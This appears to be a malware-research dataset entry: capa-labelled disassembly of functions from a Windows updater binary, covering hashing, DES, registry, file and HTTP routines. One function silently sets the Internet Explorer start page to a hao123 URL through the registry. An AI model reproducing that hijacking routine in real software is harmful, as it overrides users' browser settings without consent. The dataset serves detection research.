joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401150
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, eax
mov al, 0x3d
cmp byte [esi + edi - 1], al
jne 0x40116c
dec edi
cmp byte [esi + edi - 1], al
je 0x401165
xor eax, eax
mov dword [ebp - 4], eax
cmp edi, eax
jbe 0x401224
mov ecx, 2
sub ecx, esi
mov dword [ebp - 8], ecx
mov ecx, 3
sub ecx, esi
mov dword [ebp - 0xc], ecx
push ebx
mov edi, edi
movsx ecx, byte [esi + 1]
movsx edx, byte [esi]
mov dl, byte [edx + 0x4232d8]
mov cl, byte [ecx + 0x4232d8]
add dl, dl
mov bl, cl
sar bl, 4
add dl, dl
and bl, 3
or dl, bl
mov ebx, dword [ebp + 0xc]
mov byte [eax + ebx], dl
mov edx, dword [ebp - 8]
add edx, esi
inc eax
cmp edx, edi
jae 0x40120f
mov ebx, dword [ebp + 8]
mov edx, dword [ebp - 4]
movsx edx, byte [edx + ebx + 2]
mov dl, byte [edx + 0x4232d8]
mov bl, dl
sar bl, 2
shl cl, 4
and bl, 0xf
or bl, cl
mov ecx, dword [ebp + 0xc]
mov byte [eax + ecx], bl
mov ecx, dword [ebp - 0xc]
add ecx, esi
inc eax
cmp ecx, edi
jae 0x40120f
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp + 8]
movsx ecx, byte [ecx + ebx + 3]
mov cl, byte [ecx + 0x4232d8]
shl dl, 6
and cl, 0x3f
or cl, dl
mov edx, dword [ebp + 0xc]
mov byte [eax + edx], cl
inc eax
mov ecx, dword [ebp - 4]
add ecx, 4
add esi, 4
mov dword [ebp - 4], ecx
cmp ecx, edi
jb 0x401190
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401880
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp + 0x10], 0x2d
mov dword [ebp + 8], 0
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0
jne 0x4018aa
mov eax, dword [ebp - 4]
jmp 0x401983
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
shr ecx, 3
xor eax, 0xffffffff
test ecx, ecx
je 0x40195e
push ebp
mov ebp, ecx
xor edx, edx
xor ecx, ecx
mov ebx, dword [esi]
add esi, 4
mov dl, bl
mov cl, bh
xor dl, al
shr eax, 8
mov edi, dword [edx*4 + 0x423500]
shr ebx, 0x10
xor eax, edi
xor cl, al
shr eax, 8
mov edi, dword [ecx*4 + 0x423500]
mov dl, bl
xor eax, edi
xor dl, al
shr eax, 8
mov edi, dword [edx*4 + 0x423500]
mov cl, bh
xor eax, edi
mov ebx, dword [esi]
xor cl, al
shr eax, 8
mov edi, dword [ecx*4 + 0x423500]
add esi, 4
xor eax, edi
mov dl, bl
mov cl, bh
xor dl, al
shr eax, 8
mov edi, dword [edx*4 + 0x423500]
shr ebx, 0x10
xor eax, edi
xor cl, al
shr eax, 8
mov edi, dword [ecx*4 + 0x423500]
mov dl, bl
xor eax, edi
xor dl, al
shr eax, 8
mov edi, dword [edx*4 + 0x423500]
mov cl, bh
xor eax, edi
xor cl, al
shr eax, 8
xor eax, dword [ecx*4 + 0x423500]
dec ebp
jne 0x4018c8
pop ebp
mov ecx, dword [ebp + 0x10]
xor edx, edx
and ecx, 7
je 0x40197a
mov dl, byte [esi]
inc esi
xor dl, al
shr eax, 8
xor eax, dword [edx*4 + 0x423500]
dec ecx
jne 0x401968
xor eax, 0xffffffff
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402230
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov eax, dword [0x42807c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
xor edi, edi
mov dword [ebp - 0xb8], edi
cmp eax, edi
ja 0x402269
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402260
sub eax, esi
push edx
lea esi, [ebp - 0xb4]
mov byte [ebp - 0x4c], 0
mov dword [ebp - 0xa0], edi
mov dword [ebp - 0xa4], edi
mov dword [ebp - 0xb4], 0x67452301
mov dword [ebp - 0xb0], 0xefcdab89
mov dword [ebp - 0xac], 0x98badcfe
mov dword [ebp - 0xa8], 0x10325476
call fcn.00401990
cmp byte [ebp - 0x4c], 0
jne 0x4022be
mov ecx, esi
mov byte [ebp - 0x4c], 1
call fcn.00401a40
push 0x40
lea ecx, [ebp - 0x46]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x48], ax
call fcn.00412f10
add esp, 0xc
xor esi, esi
lea edi, [ebp - 0x48]
jmp 0x4022e0
movzx edx, byte [ebp + esi - 0x5c]
push edx
push str._02x
push 3
push edi
call fcn.0040f2ed
inc esi
add esp, 0x10
add edi, 4
cmp esi, 0x10
jl 0x4022e0
xor eax, eax
mov dword [ebx + 0x14], 7
mov dword [ebx + 0x10], 0
mov word [ebx], ax
lea eax, [ebp - 0x48]
pop edi
lea edx, [eax + 2]
pop esi
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402320
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x48]
mov ecx, ebx
call fcn.00401540
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, ebx
call fcn.0040ed5d
mov esp, ebp
pop ebp
ret
Function at 0x402b00
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42807c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x42ab98]
inc eax
mov dword [0x42ab98], eax
cmp eax, 0x64
jl 0x402b71
cmp dword [0x42abd8], 8
mov eax, dword [0x42abc4]
mov dword [0x42ab98], 0
jae 0x402b3d
mov eax, 0x42abc4
lea ecx, [ebp - 0x28]
push ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x402b71
cmp dword [ebp - 8], 0x6400000
jbe 0x402b71
cmp dword [0x42abd8], 8
mov eax, dword [0x42abc4]
jae 0x402b6a
mov eax, 0x42abc4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ed5d
mov esp, ebp
pop ebp
ret
Function at 0x4035e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x42807c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov dword [ebp - 0x214], ebx
test byte [0x42ac70], 1
push edi
mov edi, ecx
jne 0x403634
or dword [0x42ac70], 1
xor eax, eax
push 0x420760
mov dword [0x42ac68], 7
mov dword [0x42ac64], ebx
mov word [0x42ac54], ax
call fcn.0040f8fd
add esp, 4
cmp dword [0x42ac64], ebx
jne 0x4037a9
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea ecx, [ebp - 0x210]
push ecx
push 0x20019
push ebx
push str.SoftwarekingsoftTypeEasyTypeEasyEx
push 0x80000001
mov dword [ebp - 0x210], ebx
call esi
test eax, eax
jne 0x403718
cmp dword [ebp - 0x210], ebx
je 0x403718
push 0x206
lea eax, [ebp - 0x20a]
xor edx, edx
push ebx
push eax
mov dword [ebp - 0x214], ebx
mov word [ebp - 0x20c], dx
call fcn.00412f10
add esp, 0xc
lea ecx, [ebp - 0x218]
push ecx
mov ecx, dword [ebp - 0x210]
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x214]
push eax
push ebx
push 0x423ac8
push ecx
mov dword [ebp - 0x218], 0x208
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4036dd
push 1
mov eax, str.0_
jmp 0x4036fc
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4036e6
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x20c]
mov ecx, 0x42ac54
call fcn.00401540
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4037a8
lea eax, [ebp - 0x210]
push eax
push 0x20019
push ebx
push str.SoftwarekingsoftTypeEasyTypeEasy2011
push 0x80000001
call esi
test eax, eax
jne 0x4037a8
mov esi, dword [ebp - 0x210]
cmp esi, ebx
je 0x4037a8
push 0x206
lea edx, [ebp - 0x20a]
xor ecx, ecx
push ebx
push edx
mov dword [ebp - 0x218], ebx
mov word [ebp - 0x20c], cx
call fcn.00412f10
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x218]
push edx
push ebx
push 0x423ac8
push esi
mov dword [ebp - 0x214], 0x208
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
push 0x42ac54
mov eax, str.0_
jne 0x4037a3
lea eax, [ebp - 0x20c]
call fcn.00401440
pop esi
xor eax, eax
mov dword [edi + 0x14], 7
mov dword [edi + 0x10], ebx
push ebx
mov word [edi], ax
push 0x42ac54
or eax, 0xffffffff
call fcn.00401390
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.0040ed5d
mov esp, ebp
pop ebp
ret
Function at 0x405e50
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4202b8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42807c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor edi, edi
xor ecx, ecx
mov word [ebp - 0x2c], cx
mov ecx, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], edi
lea esi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
cmp dx, di
jne 0x405e94
sub ecx, esi
sar ecx, 1
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00401540
push 0x20
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.004057f0
mov eax, dword [ebp - 0x2c]
add esp, 4
cmp dword [ebp - 0x18], 8
mov dword [ebp - 0x30], edi
jae 0x405ecb
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
mov eax, dword [ebp - 0x30]
push eax
push str.argc_d.
push str.kupdate::KCommandLine::_DoParseCmdLine
push str.miscKCommandLine.cpp
push 7
mov edx, 0x74
call fcn.00402b80
mov ecx, dword [ebp - 0x30]
add esp, 0x14
push esi
push ecx
mov ecx, ebx
call fcn.00405a30
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x18], 8
jb 0x405f21
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0040ed52
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040ed5d
mov esp, ebp
pop ebp
ret 4
Function at 0x407d90
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
push ebx
push esi
mov esi, dword [ecx + 4]
mov ecx, eax
shr ecx, 4
xor ecx, esi
and ecx, 0xf0f0f0f
xor esi, ecx
shl ecx, 4
xor eax, ecx
mov ecx, eax
shr ecx, 0x10
xor ecx, esi
and ecx, 0xffff
xor esi, ecx
shl ecx, 0x10
xor eax, ecx
mov ecx, esi
shr ecx, 2
xor ecx, eax
and ecx, 0x33333333
xor eax, ecx
add ecx, ecx
add ecx, ecx
xor esi, ecx
mov ecx, esi
shr ecx, 8
xor ecx, eax
and ecx, 0xff00ff
xor eax, ecx
shl ecx, 8
xor esi, ecx
rol esi, 1
mov ecx, esi
xor ecx, eax
and ecx, 0xaaaaaaaa
xor esi, ecx
xor ecx, eax
rol ecx, 1
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 8
mov edi, edi
mov eax, esi
ror eax, 4
xor eax, dword [edx]
add edx, 0x10
mov ecx, eax
shr ecx, 0x18
mov edi, eax
shr edi, 0x10
and edi, 0x3f
and ecx, 0x3f
mov ecx, dword [ecx*4 + 0x429198]
or ecx, dword [edi*4 + 0x429398]
mov edi, eax
shr edi, 8
and edi, 0x3f
or ecx, dword [edi*4 + 0x429598]
and eax, 0x3f
or ecx, dword [eax*4 + 0x429798]
mov eax, dword [edx - 0xc]
xor eax, esi
mov edi, eax
shr edi, 0x18
and edi, 0x3f
mov edi, dword [edi*4 + 0x429298]
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
or edi, dword [ebx*4 + 0x429498]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edi, dword [ebx*4 + 0x429698]
and eax, 0x3f
or edi, dword [eax*4 + 0x429898]
or edi, ecx
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 4]
xor edi, dword [ebp - 0xc]
mov eax, edi
ror eax, 4
xor eax, dword [edx - 8]
mov dword [ebp - 4], edi
mov ecx, eax
shr ecx, 0x18
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
and ecx, 0x3f
mov ecx, dword [ecx*4 + 0x429198]
or ecx, dword [ebx*4 + 0x429398]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or ecx, dword [ebx*4 + 0x429598]
and eax, 0x3f
or ecx, dword [eax*4 + 0x429798]
mov eax, dword [edx - 4]
xor eax, edi
mov edi, eax
shr edi, 0x18
and edi, 0x3f
mov edi, dword [edi*4 + 0x429298]
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
or edi, dword [ebx*4 + 0x429498]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edi, dword [ebx*4 + 0x429698]
and eax, 0x3f
or edi, dword [eax*4 + 0x429898]
or edi, ecx
xor esi, edi
dec dword [ebp - 8]
jne 0x407e10
mov ecx, dword [ebp - 4]
ror esi, 1
mov eax, esi
xor eax, ecx
and eax, 0xaaaaaaaa
xor esi, eax
xor eax, ecx
ror eax, 1
mov ecx, eax
shr ecx, 8
xor ecx, esi
and ecx, 0xff00ff
xor esi, ecx
shl ecx, 8
xor eax, ecx
mov ecx, eax
shr ecx, 2
xor ecx, esi
and ecx, 0x33333333
xor esi, ecx
lea edx, [ecx*4]
mov ecx, esi
shr ecx, 0x10
xor eax, edx
mov edx, dword [ebp + 8]
xor ecx, eax
and ecx, 0xffff
xor eax, ecx
shl ecx, 0x10
xor esi, ecx
mov ecx, esi
shr ecx, 4
xor ecx, eax
and ecx, 0xf0f0f0f
mov edi, ecx
shl edi, 4
xor edi, esi
mov dword [edx], edi
pop edi
xor ecx, eax
pop esi
mov dword [edx + 4], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x407fa0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4201d3
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x42807c]
xor eax, esp
mov dword [esp + 0x80], eax
push ebx
push esi
push edi
mov eax, dword [0x42807c]
xor eax, esp
push eax
lea eax, [esp + 0x98]
mov dword fs:[0], eax
mov esi, edx
cmp dword [esi + 0x14], 8
mov edi, ecx
jb 0x407fee
mov eax, dword [esi]
jmp 0x407ff0
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0xa0], ebx
mov eax, 7
mov dword [esp + 0x38], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x70], eax
xor eax, eax
mov word [esp + 0x5c], ax
mov eax, 0x7fffffff
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
xor ecx, ecx
xor edx, edx
mov eax, 1
mov dword [esp + 0x34], ebx
mov word [esp + 0x24], cx
mov dword [esp + 0x50], ebx
mov word [esp + 0x40], dx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], ebx
push ebx
mov byte [esp + 0xa4], al
push edi
or eax, 0xffffffff
lea edi, [esp + 0x2c]
call fcn.00401390
push ebx
push esi
or eax, 0xffffffff
lea edi, [esp + 0x48]
call fcn.00401390
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x88], ebx
call fcn.0040eb20
cmp eax, 9
lea esi, [esp + 0x24]
sete byte [esp + 0x17]
call fcn.00408130
mov esi, dword [esp + 0x1c]
cmp esi, ebx
je 0x4080e0
call fcn.0040dec0
mov eax, dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x4080cd
push eax
call edi
mov dword [esi], ebx
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x4080d7
push eax
call edi
push esi
call fcn.0040ed52
add esp, 4
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x4080f1
push eax
call fcn.0040ed52
add esp, 4
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x408102
push eax
call fcn.0040ed52
add esp, 4
mov al, byte [esp + 0x17]
mov ecx, dword [esp + 0x98]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x80]
xor ecx, esp
call fcn.0040ed5d
mov esp, ebp
pop ebp
ret
Function at 0x4081b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42807c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
push 0x206
mov edi, ecx
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov dword [ebp - 0x210], 0
mov word [ebp - 0x20c], ax
call fcn.00412f10
add esp, 0xc
cmp dword [edi + 0x10], 0
jne 0x408208
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x408225
cmp dword [edi + 0x14], 8
jb 0x408210
mov edi, dword [edi]
push edi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0040fdc6
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
push 0
push 0x4256b8
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push str..exe
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0040fd51
add esp, 0xc
xor ecx, ecx
lea eax, [ebp - 0x20c]
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], cx
lea edx, [eax + 2]
pop edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x408272
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x20c]
mov ecx, esi
call fcn.00401540
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, esi
call fcn.0040ed5d
mov esp, ebp
pop ebp
ret
Function at 0x40a930
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x420610
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x42807c]
xor eax, esp
mov dword [esp + 0x54], eax
push ebx
push esi
mov eax, dword [0x42807c]
xor eax, esp
push eax
lea eax, [esp + 0x68]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp + 0x18]
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0x1c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x3c], 7
mov dword [esp + 0x38], eax
mov word [esp + 0x28], cx
mov dword [esp + 0x70], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x1c]
push edx
mov edx, dword [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x18]
push ecx
push edx
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x3c]
push ecx
push esi
push edi
push eax
mov ecx, ebx
call fcn.0040a5d0
add esp, 0x24
push ebx
mov edx, esi
mov ecx, edi
call fcn.00406e40
add esp, 4
test al, al
je 0x40aa0e
cmp dword [esp + 0x3c], 8
jb 0x40aa07
mov edx, dword [esp + 0x28]
push edx
call fcn.0040ed52
add esp, 4
mov al, 1
jmp 0x40aac2
cmp dword [esp + 0x38], 0
je 0x40aa82
lea ecx, [esp + 0x28]
lea esi, [esp + 0x44]
call fcn.0040a4d0
mov byte [esp + 0x70], 1
mov eax, dword [esp + 0x44]
mov esi, 8
cmp dword [esp + 0x58], esi
jae 0x40aa3a
lea eax, [esp + 0x44]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
mov edx, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x18]
push edx
push ecx
mov ecx, dword [esp + 0x38]
lea edx, [esp + 0x3c]
push edx
mov edx, dword [esp + 0x2c]
push ecx
push edi
push eax
mov ecx, ebx
call fcn.0040a5d0
add esp, 0x24
cmp dword [esp + 0x58], esi
jb 0x40aaa5
mov edx, dword [esp + 0x44]
push edx
call fcn.0040ed52
add esp, 4
jmp 0x40aaa5
mov esi, edi
call fcn.0040a400
test al, al
jne 0x40aaa5
cmp dword [edi + 0x14], 8
mov dword [edi + 0x10], 0
jb 0x40aa9e
mov eax, dword [edi]
jmp 0x40aaa0
mov eax, edi
xor ecx, ecx
mov word [eax], cx
cmp dword [edi + 0x10], 0
setne bl
cmp dword [esp + 0x3c], 8
jb 0x40aac0
mov edx, dword [esp + 0x28]
push edx
call fcn.0040ed52
add esp, 4
mov al, bl
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x54]
xor ecx, esp
call fcn.0040ed5d
mov esp, ebp
pop ebp
ret
Function at 0x40ac80
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x42807c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 8]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40acf5
lea ecx, [ebp - 8]
push ecx
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov esi, eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x40ad1b
test esi, esi
je 0x40ad1d
push 0x5c
push str.http:__www.hao123.com__tn39005018_180_hao_pg
push 1
push 0
push str.Start_Page
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 8]
push edx
jmp 0x40ad13
mov eax, dword [ebp - 8]
push 0x5c
push str.http:__www.hao123.com__tn39005018_180_hao_pg
push 1
push 0
push str.Start_Page
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 8]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
pop esi
call fcn.0040ed5d
mov esp, ebp
pop ebp
ret

Function at 0x40cc50
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x40cd44
cmp word [esi], bx
je 0x40cd44
push esi
push str.RunProcess:__s.
push str.kupdate::KProcessUtils::RunProcess
push str.utilKProcessUtils.cpp
push 7
mov edx, 0x126
call fcn.00402b80
push 0x38
lea eax, [ebp - 0x38]
push ebx
push eax
mov dword [ebp - 0x3c], 0x3c
call fcn.00412f10
add esp, 0x20
mov dword [ebp - 0x38], 0x500
cmp edi, ebx
je 0x40ccb1
mov dword [ebp - 0x38], 0x540
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x3c]
push edx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x40cd17
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebx
jle 0x40ccef
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
push esi
push str.Failed_ShellExecuteEx:_0x_08x.
push str.kupdate::KProcessUtils::RunProcess
push str.utilKProcessUtils.cpp
push ebx
mov edx, 0x137
call fcn.00402b80
add esp, 0x14
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp edi, ebx
je 0x40cd3c
mov eax, dword [ebp - 4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push str.Invalid_Arg.
push str.kupdate::KProcessUtils::RunProcess
push str.utilKProcessUtils.cpp
push ebx
mov edx, 0x122
call fcn.00402b80
add esp, 0x10
pop esi
mov eax, 0x80070057
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ce00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
or eax, 0xffffffff
cmp dword [ebp + 8], eax
je 0x40ce94
push ebx
mov ebx, dword [ebp + 0xc]
test ebx, ebx
jne 0x40ce1f
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
mov edi, 0x80000
cmp ebx, 0x80000
ja 0x40ce30
mov edi, ebx
push edi
call fcn.0040ed47
push edi
mov esi, eax
push 0
push esi
call fcn.00412f10
mov edi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x10
lea esp, [esp]
mov eax, 0x80000
cmp edi, 0x80000
ja 0x40ce5f
mov eax, edi
mov edx, dword [ebp + 8]
push 0
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push edx
mov dword [ebp - 4], 0
call ebx
mov eax, dword [ebp - 4]
test eax, eax
je 0x40ce7f
sub edi, eax
jne 0x40ce50
test esi, esi
je 0x40ce8c
push esi
call fcn.0040f211
add esp, 4
mov eax, dword [ebp + 0xc]
sub eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40dec0
Capabilities:
Resume thread

Disassembly:
mov ecx, dword [esi + 0x69c]
lea eax, [esi + 0x69c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
je 0x40df25
cmp dword [esi + 0x6a0], 0
je 0x40def8
mov edx, dword [esi + 0x67c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [esi + 0x6a0], 0
mov eax, dword [esi]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [esi + 0x67c]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x7d0
push ecx
call edi
mov edx, dword [esi + 0x680]
push 0x7d0
push edx
call edi
pop edi
ret
Function at 0x40ebe0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0
push str.SendMsgToTargetUrl
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
jne 0x40ec05
pop esi
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [sym.imp.WININET.dll_InternetSetOptionExW]
push 0
push 4
lea eax, [ebp - 4]
push eax
push 2
push esi
mov dword [ebp - 4], 0x7530
call edi
push 0
push 4
lea ecx, [ebp - 4]
push ecx
push 5
push esi
call edi
push 0
push 4
lea edx, [ebp - 4]
push edx
push 6
push esi
call edi
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x40ec5a
push eax
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x40ed5d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42807c]
jne 0x40ed67
repz ret
jmp fcn.00410917